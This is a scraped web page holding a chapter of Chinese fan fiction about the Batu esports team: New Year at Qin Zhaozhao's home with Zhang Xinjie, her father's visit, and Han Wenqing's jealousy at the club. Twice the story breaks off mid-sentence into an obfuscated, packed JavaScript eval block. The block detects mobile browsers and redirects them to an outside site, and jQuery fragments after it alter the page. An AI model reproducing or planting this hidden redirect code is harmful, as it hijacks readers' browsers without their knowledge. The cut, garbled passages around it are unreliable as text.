她一边吃一边看张新杰在厨房忙碌。今天他又系上了那条淡蓝小猫围裙,正低头切土豆丝。刀工稳当,土豆丝切得细而均匀。 她吃完早餐,也溜进厨房帮忙。张新杰炒菜,她就递调料;张新杰炖汤,她就帮忙看火。 两人配合越来越默契,像在训练室讨论战术时一样自然。 午饭快好时,门铃突然响了。 秦昭昭一愣:“这个点谁会来呀?” 她擦擦手,跑去开门。门一开,她愣住了。 “爸?你怎么提前回来了?” 门口站着秦大海。他拖着行李箱,风尘仆仆,精神却很好。看见女儿,他笑呵呵道:“闺女!惊喜吧!” “太惊喜了!”秦昭昭赶紧让他进来,“你不是说除夕后几天才回吗?” “工作提前结束,就想早点回来看看你,”秦大海一边换鞋一边说,“而且啊,我看了你微博,还以为我闺女交了男朋友不告诉我,特意回来瞧瞧!” 他说着,探头往屋里看,正好看见张新杰端着盘菜从厨房出来。 张新杰系着围裙,手里是热气腾腾的炒土豆丝,看见秦大海,脚步一顿,随即礼貌点头:“秦叔好。” 秦大海上下打量他,眼睛亮了:“小张!还真是你!我就说那双手看着眼熟!” 张新杰推推眼镜,耳尖微红:“秦叔过奖了。” 秦昭昭在旁边脸都热了:“爸!都说了不是男朋友!是朋友!张副队爸妈出差回不来,我就邀他来咱家过年了!” “朋友好,朋友好啊!”秦大海笑呵呵的,一点没失望的样子,“小张,辛苦你了,还给我们家昭昭做饭。” “不辛苦,”张新杰摇头,“秦总也帮了很多忙。” “她那点本事我还不知道?”秦大海摆摆手,“能不把盘子打翻就不错啦!” “爸!”秦昭昭跺脚,“我哪有那么笨!” 三人都笑起来。 秦大海放好行李,洗了手,在餐桌边坐下。张新杰和秦昭昭把剩下的菜端上来——炒土豆丝、红烧肉、清蒸鱼、番茄蛋汤。虽不奢华,却样样透着家常的温馨。 “可以啊小张,这手艺不错!”秦大海尝了口红烧肉,连连称赞,“比我们家阿姨做得还香!” 张新杰推推眼镜,嘴角扬起一个弧度:“秦叔过奖,都是家常菜。” “家常菜才见功夫,”秦大海又夹了筷子土豆丝,“这刀工火候,一看就是常下厨的。” 秦昭昭在旁边得意道:“那当然,张副队可能干了,什么都会!” 张新杰被她夸得有点不好意思,低头默默吃饭。 三人边吃边聊。秦大海问起战队,张新杰一一认真回答。秦大海听着,不时点头。 “你们这赛季打得不错,昭昭说常规赛排名挺靠前。” “是,常规赛还剩最后几轮,我们会保持状态。”张新杰说。 “季后赛有信心没?” 张新杰神色认真地点头说:“我们会全力以赴。” 秦大海笑了,拍拍他肩膀:“好!有这股劲儿就行!要是拿了冠军,我给你们发奖金!” “爸!”秦昭昭又好气又好笑,“你别动不动就提钱!” “怎么不能提?”秦大海理直气壮,“我闺女当老板,我支持一下咋了?” 张新杰看着父女俩斗嘴,嘴角轻轻弯了弯。 这样热闹的家庭氛围,他很少经历,却很温暖。 饭后,秦昭昭主动收拾碗筷去洗。张新杰想帮忙,被她拦住。 “你都忙一上午了,歇会儿,”秦昭昭把他往客厅推,“陪我爸聊聊天!” 张新杰只好在沙发坐下。秦大海坐他对面,笑眯眯看着他。 “小张,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦昭昭坐在旁边,看着他们聊天,心里暖暖的。 她想起第一次带张新杰回家时,他那拘谨的样子,现在却能和她爸爸聊得这么自然。 真好。 饭后,三人散步回家。夜晚的Q市很静,街灯明亮,路上人不多。 秦大海走在前头,秦昭昭和张新杰并肩走在后面。 “张副队,这几天谢谢你陪我过年,”秦昭昭笑起来,对他说,“要不是你,我肯定是一个人对着电视发呆。有你在,这个年过得特别开心。” 张新杰看着她的笑脸有点发愣,轻声说:“我也……很开心。” 他说的是真心话。这六天,是他记忆里最温暖的一个春节。 “以后如果还有机会,咱们还一起过年!”秦昭昭兴致勃勃地说。 张新杰望着她,笑道:“好。” 32.买下霸图的第三十二天 年初六的午后,霸图俱乐部渐渐热闹起来。走廊里传来行李箱轮子滚动的声音,还有队员们互相问候的说笑声。 张新杰和秦昭昭是最早回来的。上午到了俱乐部,张新杰就去整理训练计划了,秦昭昭则在自己办公室处理积压的文件。 中午过后,其他人陆陆续续都到了。 白言飞和秦牧云结伴回来,手里大包小包,一进训练室就兴奋地嚷嚷起来。 “秦总!张副队!我们回来啦!”白言飞把一个大袋子放到桌上,“我妈让带的酱牛肉,特香!” 秦牧云也举起手里的袋子:“我奶奶包的韭菜馅饺子,冻好了,晚上可以煮着吃!” 秦昭昭从办公室出来,眼睛一亮:“哇!这么多好吃的!谢谢你们!” “秦总过年好!”两人齐声说。 “过年好过年好!”秦昭昭笑着应道。 林敬言是下午回来的。他推着行李箱走进训练室,脸上带着温和的笑:“大家都回来了啊。” “林哥!”白言飞和秦牧云围上去,“带什么好吃的了?” 林敬言打开行李箱,取出几个密封盒:“一些南方糕点,我母亲亲手做的。” “太好了!”秦昭昭凑过去看,“看着就很好吃!” 张佳乐是最后一个到的。他拖着个大箱子,风风火火冲进训练室,红头发在跑动中一跳一跳。 “我回来啦!”他大喊一声,开始从箱子里掏东西,“这是老家的特产,秦总,这些都给您!” 秦昭昭看着堆满桌子的特产,哭笑不得:“张佳乐,你带这么多,吃得完吗?” “慢慢吃嘛!”张佳乐笑嘻嘻地说,“过年就要吃吃喝喝!” 大家正热闹着,训练室的门又被推开了。 韩文清走了进来,他穿着深灰运动外套,手里只拎着个小旅行包,看着比其他人轻便。看到训练室里的热闹景象,他脚步顿了顿,才走进来。 “韩队!”秦昭昭第一个打招呼,“过年好!” 韩文清看向她,点了点头:“过年好。” 他的目光在训练室里扫了一圈,最后落在张新杰身上。张新杰正坐在电脑前整理资料,感受到视线,抬起头推了推眼镜:“韩队。” 韩文清又看了他一眼,目光转向秦昭昭。 秦昭昭正帮张佳乐整理特产,脸上带笑,心情很好的样子。 韩文清的视线在她和张新杰之间轻轻扫过,眉头微微皱了下,很快又恢复平静。 “韩队,你带什么好吃的了?”张佳乐凑过来问。 “没有。”韩文清简短回答,把小包放到自己座位上。 “哦……”张佳乐有点失望,倒也没多想,马上又精神起来,“没事!我带了这么多,够吃好几天了!” 韩文清“嗯”了一声,开始整理东西。 秦昭昭注意到韩文清刚才看她的眼神,心里有点说不出的感觉,但也没多想。她继续帮大家整理特产,把腊肉香肠放进冰箱,糕点收进零食柜。 一下午,俱乐部里都热热闹闹。队员们分享着过年的趣事,尝着各自带来的特产,笑声没停过。 秦昭昭坐在旁边托着腮笑嘻嘻地听着,心里暖暖的。分开才几天,她已经很想念这样的氛围了。 晚上,秦昭昭在房间整理东西。她照了照镜子,忽然觉得脸好像比年前圆了点。 她伸手摸摸脸颊,又捏捏肚子。 “完了……真胖了。”她小声嘀咕。 过年这几天,在张新杰的投喂下,她确实吃得比平时多。而且张新杰做饭好吃,她每次都忍不住多夹几筷子。 现在看着镜子里明显圆润的脸,秦昭昭决定不能再这样了。 “得去运动!”她换上运动服,打算去健身房跑跑步。 俱乐部的健身房在二楼,二十四小时开放。秦昭昭推门进去时,里面亮着灯,但很安静。 她正准备上跑步机,忽然听见角落里传来有节奏的击打声。 转头看去,韩文清正在打沙袋。 他穿着黑色背心和运动短裤,汗水已经浸透背心,紧贴在身上,勾勒出结实的肌肉线条。每一拳又快又狠,砸在沙袋上发出闷响。沙袋在他面前剧烈晃动,链条嘎吱作响。 秦昭昭站在门口看了一会儿。 韩文清似乎没注意到她,继续专注打沙袋。动作流畅有力,每拳都带着风声,像是在发泄什么情绪。 秦昭昭犹豫了一下,还是走过去上了跑步机。 她调了慢速,开始慢跑。跑步机声音不大,但在安静的健身房里清晰可闻。 韩文清终于注意到她。他停下动作,摘下拳套,用毛巾擦了擦汗,看向秦昭昭。 “秦总。”他打了招呼。 “韩队。”秦昭昭也停下跑步机,喘了口气,“你也来锻炼啊?” “嗯。”韩文清点点头,走到饮水机旁接水。 秦昭昭从跑步机上下来,也去接水。两人站在饮水机旁,一时都没说话。 气氛有点安静。 秦昭昭想了想,找了个话题:“韩队,春节过得怎么样?” 韩文清喝了口水,简短道:“还行。” “家里人都好吗?” “嗯。” 又是简短回应。 秦昭昭有点不知怎么接话。她转头看韩文清,发现他也在看她,眼神有点复杂。 “那个……”秦昭昭又开口,“我过年过得挺好的。张副队还挺会做菜,做了好多好吃的。” 她说完这话,忽然觉得哪里不对。 空气安静了几秒。 韩文清看着她,眼神更深了些。他沉默片刻,才说:“挺好的。” 语气听起来……有点说不出的感觉。 秦昭昭心里咯噔一下,这才反应过来——她刚才那句话,听起来像在炫耀她和张新杰一起过年? 不对啊,她只是想夸夸张新杰厨艺啊! “我不是那个意思……”秦昭昭赶紧解释,“我就是说张副队做饭好吃……” “我知道。”韩文清打断她,语气恢复了平时的平稳,“他确实很会照顾人。” 他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027402|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话时声音正常,但秦昭昭总觉得哪里不对劲。 健身房又静下来。 秦昭昭有点待不住了。她觉得现在气氛特别怪,像是自己说错了话,又不知道错在哪儿。 “那个……韩队,我先回去了。”她放下水杯,“你继续锻炼吧。” “嗯。”韩文清点头。 秦昭昭几乎是逃也似的离开了健身房。回到房间,她关上门,靠在门板上长长舒了口气。 刚才那气氛……太奇怪了。 她回想了一下和韩文清的对话,觉得好像也没什么问题。就是问了春节过得怎样,然后夸了夸张新杰的厨艺…… 等等。 秦昭昭忽然意识到什么。 韩文清是不是……误会了? 误会她和张新杰的关系? 想到这里,秦昭昭脸一下子热了。 “不可能不可能……”她小声嘀咕,“韩队才不会想那么多……” 但她心里还是有点不踏实。她在房间里转了几圈,最后决定不想了。也许是她多心了,韩文清只是心情不好。 秦昭昭洗漱完躺在床上,却怎么也睡不着。 脑子里全是刚才健身房的画面——韩文清打沙袋时专注的样子,他看她时复杂的眼神,还有那几句简短的对话。 她翻个身,把脸埋进枕头。 “秦昭昭,别瞎想了!”她对自己说,“明天还要训练,赶紧睡觉!” 可眼睛就是闭不上。 与此同时,健身房里。秦昭昭离开后,韩文清没继续打沙袋。 他站在沙袋前,双手撑在膝盖上,低着头大口喘气。汗水顺着下颌线往下滴,砸在地上晕开一小片水渍。 他脑子里全是秦昭昭刚才的话。 “张副队还挺会做菜的,做了好多好吃的。” 她说这话时脸上带笑,看起来特别开心。那种开心,是真的,从心里透出来的。 韩文清直起身,走到窗边,看着窗外Q市的夜景。灯火通明,车流不息,但这城市此刻在他眼里只剩下烦闷。 想起战队群里,大家发现张新杰在秦昭昭家过年的消息。 想起今天下午,秦昭昭笑着分享特产时,张新杰在旁边安静看她的眼神。 …… 韩文清握紧拳头,又松开。他不知道自己为什么这么烦躁。 秦昭昭和谁一起过年,和谁关系好,是她的自由。他是队长,是队员,没权利也没立场管这些。 可是……他就是不舒服。那种感觉,像胸口堵着什么,上不去下不来,特别闷。 韩文清在窗边站了很久,直到身上的汗都干了,才转身离开健身房。 回到房间,他冲了个冷水澡,躺到床上。闭上眼睛,脑子里又浮现秦昭昭的脸。 她笑着打招呼的样子。 她认真看比赛的样子。 她笨手笨脚想帮忙做饭的样子。 她刚才在健身房,有点慌张地说“我先回去了”的样子。 …… 我到底是……怎么了?